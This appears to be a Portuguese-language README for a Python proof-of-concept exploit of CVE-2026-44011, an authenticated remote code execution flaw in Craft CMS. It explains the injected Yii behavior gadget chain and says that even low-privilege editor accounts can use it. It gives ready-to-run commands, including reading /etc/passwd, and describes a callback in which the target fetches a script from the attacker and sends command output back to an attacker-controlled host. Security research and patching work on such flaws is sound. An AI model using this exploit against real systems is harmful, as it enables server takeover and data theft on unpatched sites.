Prova de conceito em Python para a exploração da CVE-2026-44011, uma RCE autenticada no Craft CMS por meio de injeção de comportamento do Yii, com captura de saída de comando em dois estágios.
RCE autenticado no Craft CMS via injeção de comportamento do Yii.
Afetado: 4.0.0–4.17.11, 5.0.0–5.9.17
Corrigido em: 4.17.12, 5.9.18
Aviso: GHSA-qrgm-p9w5-rrfw
O endpoint /admin/actions/element-search/search aceita um parâmetro condition que é passado diretamente para ElementCondition::createCondition() sem que Component::cleanseConfig() seja chamado primeiro. Isso significa que as chaves especiais de construção de objetos do Yii — __class, as <name> (anexar comportamento), on <event> (registrar manipulador) — entram em vigor quando o objeto FieldLayout é construído a partir dos dados da requisição.
O exploit anexa AttributeTypecastBehavior configurado para chamar Psy\Readline\Hoa\ConsoleProcessus::execute() (um interno do PSY/Yii que executa comandos de shell) como seu callable de typecast. O comportamento é disparado no evento beforeSave, que o Craft aciona durante a mesma requisição.
Qualquer conta — até mesmo um editor com privilégios baixos — pode fazer isso. Não são necessários direitos de administrador.
Em vez de um reverse shell cego, ele usa captura de saída em dois estágios:
curl que busca um shell script de um listener HTTP local que você controlaVocê obtém a saída do comando diretamente no terminal, sem precisar de um listener nc.
requests (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
O host/porta de callback é para onde o alvo envia a saída de volta via POST para você. Por padrão, o host é inferido a partir da sua rota até o alvo e a porta é atribuída pelo SO. Se o alvo estiver atrás de um NAT ou VPN, você precisará de --callback-host apontando para o seu IP acessível.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
Apenas para testes de segurança autorizados e pesquisa.